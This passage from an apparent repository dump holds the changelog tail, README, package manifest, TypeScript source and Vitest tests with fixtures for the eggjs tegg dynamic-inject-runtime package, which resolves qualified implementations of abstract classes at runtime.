(2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n\n### Features\n\n* add getEggObjects API to fetch all instances ([#189](https://github.com/eggjs/tegg/issues/189)) ([f8592c2](https://github.com/eggjs/tegg/commit/f8592c2cd141d01b4f1730b1e3d66e35c3e1ce05))\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Features\n\n* remove context egg object factory ([#93](https://github.com/eggjs/tegg/issues/93)) ([e14bdb2](https://github.com/eggjs/tegg/commit/e14bdb257eaebc0b0a4c37c6073a5c3237718718))\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/README.md",
    "content": "# `@eggjs/dynamic-inject-runtime`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/dynamic-inject-runtime.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/dynamic-inject-runtime.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/dynamic-inject-runtime\n[snyk-image]: https://snyk.io/test/npm/@eggjs/dynamic-inject-runtime/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/dynamic-inject-runtime\n[download-image]: https://img.shields.io/npm/dm/@eggjs/dynamic-inject-runtime.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/dynamic-inject-runtime\n\n## Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/dynamic-inject-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg dynamic inject runtime\",\n  \"keywords\": [\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/dynamic-inject-runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/dynamic-inject-runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dynamic-inject\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggDyniamicInjectRuntime\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/src/EggObjectFactory.ts",
    "content": "import { PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { QualifierImplUtil } from '@eggjs/dynamic-inject';\nimport type { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { QualifierValue, EggAbstractClazz, EggObjectFactory as IEggObjectFactory } from '@eggjs/tegg-types';\n\nimport { EGG_OBJECT_FACTORY_PROTO_IMPLE_TYPE } from './EggObjectFactoryPrototype.ts';\n\n@SingletonProto({\n  protoImplType: EGG_OBJECT_FACTORY_PROTO_IMPLE_TYPE,\n  name: 'eggObjectFactory',\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class EggObjectFactory implements IEggObjectFactory {\n  eggContainerFactory: typeof EggContainerFactory;\n\n  async getEggObject<T extends object>(abstractClazz: EggAbstractClazz<T>, qualifierValue: QualifierValue): Promise<T> {\n    const implClazz = QualifierImplUtil.getQualifierImp(abstractClazz, qualifierValue);\n    if (!implClazz) {\n      throw new Error(`has no impl for ${abstractClazz.name} with qualifier ${qualifierValue}`);\n    }\n    const protoObj: any = PrototypeUtil.getClazzProto(implClazz);\n    if (!protoObj) {\n      throw new Error(`can not get proto for clazz ${implClazz.name}`);\n    }\n    const eggObject = await this.eggContainerFactory.getOrCreateEggObject(protoObj, protoObj.name);\n    return eggObject.obj as T;\n  }\n\n  async getEggObjects<T extends object>(abstractClazz: EggAbstractClazz<T>): Promise<AsyncIterable<T>> {\n    const implClazzMap = QualifierImplUtil.getQualifierImpMap(abstractClazz);\n    const getEggObject = this.getEggObject.bind(this);\n    const qualifierValues = Array.from(implClazzMap.keys());\n\n    return {\n      [Symbol.asyncIterator]() {\n        return {\n          key: 0,\n          async next() {\n            // @ts-expect-error key is not defined\n            if (this.key === qualifierValues.length) {\n              return { done: true } as IteratorResult<T>;\n            }\n\n            // @ts-expect-error key is not defined\n            const value = await getEggObject(abstractClazz, qualifierValues[this.key++]);\n            return { value, done: false } as IteratorResult<T>;\n          },\n        };\n      },\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/src/EggObjectFactoryObject.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { EggContainerFactory, EggObjectFactory as TEggObjectFactory } from '@eggjs/tegg-runtime';\nimport type { EggRuntimeContext, EggObject, EggObjectName, EggPrototype } from '@eggjs/tegg-types';\n\nimport { EggObjectFactory } from './EggObjectFactory.ts';\nimport { EggObjectFactoryPrototype } from './EggObjectFactoryPrototype.ts';\n\nexport class EggObjectFactoryObject implements EggObject {\n  readonly proto: EggObjectFactoryPrototype;\n  readonly name: EggObjectName;\n  readonly ctx?: EggRuntimeContext;\n  readonly id: string;\n  #objFactory: EggObjectFactory;\n\n  constructor(name: EggObjectName, proto: EggObjectFactoryPrototype) {\n    this.proto = proto;\n    this.name = name;\n    this.id = IdenticalUtil.createObjectId(this.proto.id, this.ctx?.id);\n  }\n\n  get obj(): EggObjectFactory {\n    if (!this.#objFactory) {\n      this.#objFactory = this.proto.constructEggObject() as EggObjectFactory;\n      this.#objFactory.eggContainerFactory = EggContainerFactory;\n    }\n    return this.#objFactory;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<EggObjectFactoryObject> {\n    return new EggObjectFactoryObject(name, proto as EggObjectFactoryPrototype);\n  }\n\n  readonly isReady: true;\n\n  injectProperty(): any {\n    return;\n  }\n}\n\nTEggObjectFactory.registerEggObjectCreateMethod(EggObjectFactoryPrototype, EggObjectFactoryObject.createObject);\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/src/EggObjectFactoryPrototype.ts",
    "content": "import { MetadataUtil, QualifierUtil } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport { EggPrototypeCreatorFactory } from '@eggjs/metadata';\nimport { NameUtil } from '@eggjs/tegg-common-util';\nimport type {\n  AccessLevel,\n  EggObjectFactory,\n  EggPrototype,\n  EggProtoImplClass,\n  EggPrototypeInfo,\n  EggPrototypeLifecycleContext,\n  EggPrototypeName,\n  InjectObjectProto,\n  LoadUnit,\n  MetaDataKey,\n  ObjectInitTypeLike,\n  QualifierInfo,\n  QualifierValue,\n  Id,\n} from '@eggjs/tegg-types';\n\nexport const EGG_OBJECT_FACTORY_PROTO_IMPLE_TYPE = 'EGG_OBJECT_FACTORY_PROTOTYPE';\n\nexport class EggObjectFactoryPrototype implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n\n  readonly clazz: EggProtoImplClass<EggObjectFactory>;\n  readonly accessLevel: AccessLevel;\n  readonly id: Id;\n  readonly initType: ObjectInitTypeLike;\n  readonly injectObjects: InjectObjectProto[];\n  readonly loadUnitId: string;\n  readonly name: EggPrototypeName;\n  readonly qualifiers: QualifierInfo[];\n\n  constructor(clazz: EggProtoImplClass<EggObjectFactory>, loadUnit: LoadUnit, prototypeInfo: EggPrototypeInfo) {\n    this.clazz = clazz;\n    this.qualifiers = QualifierUtil.mergeQualifiers(\n      QualifierUtil.getProtoQualifiers(clazz),\n      prototypeInfo.qualifiers ?? [],\n    );\n    this.id = IdenticalUtil.createProtoId(loadUnit.id, NameUtil.getClassName(this.clazz));\n    this.initType = prototypeInfo.initType;\n    this.accessLevel = prototypeInfo.accessLevel;\n    this.loadUnitId = loadUnit.id;\n    this.name = prototypeInfo.name || NameUtil.getClassName(this.clazz);\n    this.injectObjects = [];\n  }\n\n  constructEggObject(): EggObjectFactory {\n    return Reflect.construct(this.clazz, []);\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return MetadataUtil.getMetaData(metadataKey, this.clazz);\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  getQualifier(attribute: string): QualifierValue | undefined {\n    return this.qualifiers.find((t) => t.attribute === attribute)?.value;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  static create(ctx: EggPrototypeLifecycleContext): EggObjectFactoryPrototype {\n    return new EggObjectFactoryPrototype(\n      ctx.clazz as EggProtoImplClass<EggObjectFactory>,\n      ctx.loadUnit,\n      ctx.prototypeInfo,\n    );\n  }\n}\n\nEggPrototypeCreatorFactory.registerPrototypeCreator(\n  EGG_OBJECT_FACTORY_PROTO_IMPLE_TYPE,\n  EggObjectFactoryPrototype.create,\n);\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/src/index.ts",
    "content": "export * from './EggObjectFactory.ts';\nexport * from './EggObjectFactoryObject.ts';\nexport * from './EggObjectFactoryPrototype.ts';\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/__snapshots__/exports.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"EGG_OBJECT_FACTORY_PROTO_IMPLE_TYPE\": \"EGG_OBJECT_FACTORY_PROTOTYPE\",\n  \"EggObjectFactory\": [Function],\n  \"EggObjectFactoryObject\": [Function],\n  \"EggObjectFactoryPrototype\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/exports.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/AbstractContextHello.ts",
    "content": "export abstract class AbstractContextHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/AbstractSingletonHello.ts",
    "content": "export abstract class AbstractSingletonHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/FooType.ts",
    "content": "export const ContextHelloType = {\n  FOO: 'FOO',\n  BAR: 'BAR',\n} as const;\nexport type ContextHelloType = (typeof ContextHelloType)[keyof typeof ContextHelloType];\n\nexport const SingletonHelloType = {\n  FOO: 'FOO',\n  BAR: 'BAR',\n} as const;\nexport type SingletonHelloType = (typeof SingletonHelloType)[keyof typeof SingletonHelloType];\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/HelloService.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\nimport type { EggObjectFactory } from '@eggjs/dynamic-inject';\n\nimport { AbstractContextHello } from './AbstractContextHello.js';\nimport { AbstractSingletonHello } from './AbstractSingletonHello.js';\nimport { ContextHelloType, SingletonHelloType } from './FooType.js';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string[]> {\n    const helloImpls = await Promise.all([\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractContextHello, ContextHelloType.BAR),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.FOO),\n      this.eggObjectFactory.getEggObject(AbstractSingletonHello, SingletonHelloType.BAR),\n    ]);\n    const msgs = helloImpls.map((helloImpl) => helloImpl.hello());\n    return msgs;\n  }\n\n  async sayHelloToAll(): Promise<string[]> {\n    const singletonHellos = await this.eggObjectFactory.getEggObjects(AbstractSingletonHello);\n    const contextHellos = await this.eggObjectFactory.getEggObjects(AbstractContextHello);\n\n    const msgs: string[] = [];\n    for await (const helloImpl of singletonHellos) {\n      msgs.push(helloImpl.hello());\n    }\n    for await (const helloImpl of contextHellos) {\n      msgs.push(helloImpl.hello());\n    }\n\n    return msgs;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/decorator/ContextHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/dynamic-inject';\n\nimport { AbstractContextHello } from '../AbstractContextHello.ts';\nimport { ContextHelloType } from '../FooType.ts';\n\nexport const CONTEXT_HELLO_ATTRIBUTE = 'CONTEXT_HELLO_ATTRIBUTE';\n\nexport const ContextHello: ImplDecorator<AbstractContextHello, typeof ContextHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractContextHello, CONTEXT_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/decorator/SingletonHello.ts",
    "content": "import { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/dynamic-inject';\n\nimport { AbstractSingletonHello } from '../AbstractSingletonHello.ts';\nimport { SingletonHelloType } from '../FooType.ts';\n\nexport const SINGLETON_HELLO_ATTRIBUTE = 'SINGLETON_HELLO_ATTRIBUTE';\n\nexport const SingletonHello: ImplDecorator<AbstractSingletonHello, typeof SingletonHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractSingletonHello, SINGLETON_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/impl/BarContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { ContextHello } from '../decorator/ContextHello.js';\nimport { ContextHelloType } from '../FooType.js';\n\n@ContextProto()\n@ContextHello(ContextHelloType.BAR)\nexport class BarContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/impl/BarSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { SingletonHello } from '../decorator/SingletonHello.js';\nimport { SingletonHelloType } from '../FooType.js';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.BAR)\nexport class BarSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/impl/FooContextHello.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { ContextHello } from '../decorator/ContextHello.js';\nimport { ContextHelloType } from '../FooType.js';\n\n@ContextProto()\n@ContextHello(ContextHelloType.FOO)\nexport class FooContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/impl/FooSingletonHello.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../AbstractContextHello.js';\nimport { SingletonHello } from '../decorator/SingletonHello.js';\nimport { SingletonHelloType } from '../FooType.js';\n\n@SingletonProto()\n@SingletonHello(SingletonHelloType.FOO)\nexport class FooSingletonHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, foo(singleton:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/fixtures/modules/dynamic-inject-module/package.json",
    "content": "{\n  \"name\": \"dynamic-inject-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dynamicInjectModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/test/index.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { LoadUnitFactory } from '@eggjs/metadata';\nimport { EggTestContext, CoreTestHelper } from '@eggjs/module-test-util';\nimport { type LoadUnitInstance, LoadUnitInstanceFactory } from '@eggjs/tegg-runtime';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { HelloService } from './fixtures/modules/dynamic-inject-module/HelloService.js';\n\ndescribe('test/dynamic-inject-runtime.test.ts', () => {\n  let modules: Array<LoadUnitInstance>;\n  beforeEach(async () => {\n    modules = await CoreTestHelper.prepareModules([\n      path.join(__dirname, '..'),\n      path.join(__dirname, 'fixtures/modules/dynamic-inject-module'),\n    ]);\n  });\n\n  afterEach(async () => {\n    for (const module of modules) {\n      await LoadUnitFactory.destroyLoadUnit(module.loadUnit);\n      await LoadUnitInstanceFactory.destroyLoadUnitInstance(module);\n    }\n  });\n\n  it('should work', async () => {\n    await EggTestContext.mockContext(async () => {\n      const helloService = await CoreTestHelper.getObject(HelloService);\n      const msgs = await helloService.hello();\n      assert.deepStrictEqual(msgs, [\n        'hello, foo(context:0)',\n        'hello, bar(context:0)',\n        'hello, foo(singleton:0)',\n        'hello, bar(singleton:0)',\n      ]);\n    });\n\n    await EggTestContext.mockContext(async () => {\n      const helloService = await CoreTestHelper.getObject(HelloService);\n      const msgs = await helloService.hello();\n      assert.deepStrictEqual(msgs, [\n        'hello, foo(context:0)',\n        'hello, bar(context:0)',\n        // singleton use the same object\n        // counter should has cache\n        'hello, foo(singleton:1)',\n        'hello, bar(singleton:1)',\n      ]);\n    });\n  });\n\n  it('should work with getAllEggObjects', async () => {\n    await EggTestContext.mockContext(async () => {\n      const helloService = await CoreTestHelper.getObject(HelloService);\n      const msgs = await helloService.sayHelloToAll();\n      assert.deepStrictEqual(msgs, [\n        'hello, bar(singleton:0)',\n        'hello, foo(singleton:0)',\n        'hello, bar(context:0)',\n        'hello, foo(context:0)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/CHANGELOG.md",
